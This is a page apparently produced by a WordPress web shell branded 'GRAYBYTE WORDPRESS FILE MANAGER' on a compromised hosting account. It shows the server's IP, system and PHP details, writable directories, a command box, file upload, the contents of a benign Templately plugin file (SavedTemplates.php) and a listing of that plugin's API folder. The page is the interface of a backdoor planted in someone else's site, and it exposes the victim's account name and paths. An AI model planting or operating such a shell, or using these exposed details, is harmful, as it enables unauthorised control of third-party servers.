GRAYBYTE WORDPRESS FILE MANAGER4648

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/templately/includes/API/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/templately/includes/API//SavedTemplates.php
<?php

namespace Templately\API;

use Templately\Core\Platform\Elementor;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;

/**
 * As SavedTemplates is enabled in Elementor.
 * So, this class will represent Elementor's Templates Feature.
 *
 * @method Elementor platform( $id )
 *
 * @since 2.0.0
 *
 * @link https://templately.com
 */
class SavedTemplates extends API {
	private $endpoint = 'saved-templates';

	public function permission_check( WP_REST_Request $request ) {
		$this->request = $request;
		$_route        = $request->get_route();
		$_id           = (int) $this->get_param( 'id', 0 );

		if( $_route === "/templately/v1/saved-templates/delete" && ! (current_user_can( 'delete_post', $_id ) && get_post_type($_id) === "elementor_library")) {
			return $this->error('invalid_permission', __( 'Sorry, you do not have permission to delete this template.', 'templately' ), 'saved-templates/delete', 403 );
		}
		return true;
	}

	public function register_routes() {
		$this->get( $this->endpoint, [ $this, 'get_saved_templates' ] );
		$this->post($this->endpoint . '/delete', [ $this, 'delete' ] );
	}

	/**
	 * Get all the saved templates from Elementor library.
	 *
	 * @param WP_REST_Request $request
	 *
	 * @return array
	 */
	public function get_saved_templates( WP_REST_Request $request) {
		$platform = $this->get_param( 'platform', 'elementor' );
		return $this->platform( $platform )->get_saved_templates( $request->get_params() );
	}

	/**
	 * Delete saved template.
	 *
	 * @param WP_REST_Request $request
	 *
	 * @return WP_Error|WP_REST_Response
	 */
	public function delete( WP_REST_Request $request ){
		$platform = $this->get_param( 'platform', 'elementor' );
		return $this->platform( $platform )->delete( $request->get_params() );
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
inteuuod / inteuuod
0644
API.php
5.837 KB
August 22 2024 16:42:02
inteuuod / inteuuod
0644
Categories.php
1.062 KB
October 03 2022 13:36:30
inteuuod / inteuuod
0644
Conditions.php
3.867 KB
October 27 2024 15:14:06
inteuuod / inteuuod
0644
Dependencies.php
6.872 KB
July 15 2024 11:58:04
inteuuod / inteuuod
0644
FullSiteImport.php
0.246 KB
January 24 2024 15:10:10
inteuuod / inteuuod
0644
Import.php
6.807 KB
February 13 2025 17:17:14
inteuuod / inteuuod
0644
Items.php
12.179 KB
February 02 2025 15:55:04
inteuuod / inteuuod
0644
Login.php
7.929 KB
March 21 2024 14:12:32
inteuuod / inteuuod
0644
MyClouds.php
7.706 KB
September 03 2024 15:33:28
inteuuod / inteuuod
0644
Profile.php
5.453 KB
January 24 2024 15:10:10
inteuuod / inteuuod
0644
SavedTemplates.php
1.731 KB
October 09 2023 10:51:12
inteuuod / inteuuod
0644
SignUp.php
2.639 KB
May 11 2023 13:38:16
inteuuod / inteuuod
0644
Tags.php
0.846 KB
October 03 2022 13:36:30
inteuuod / inteuuod
0644
TemplateTypes.php
1.854 KB
December 12 2022 10:31:54
inteuuod / inteuuod
0644
ThemeBuilderApi.php
1.82 KB
May 09 2024 14:28:36
inteuuod / inteuuod
0644
WorkSpaces.php
9.793 KB
December 06 2023 16:06:56
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF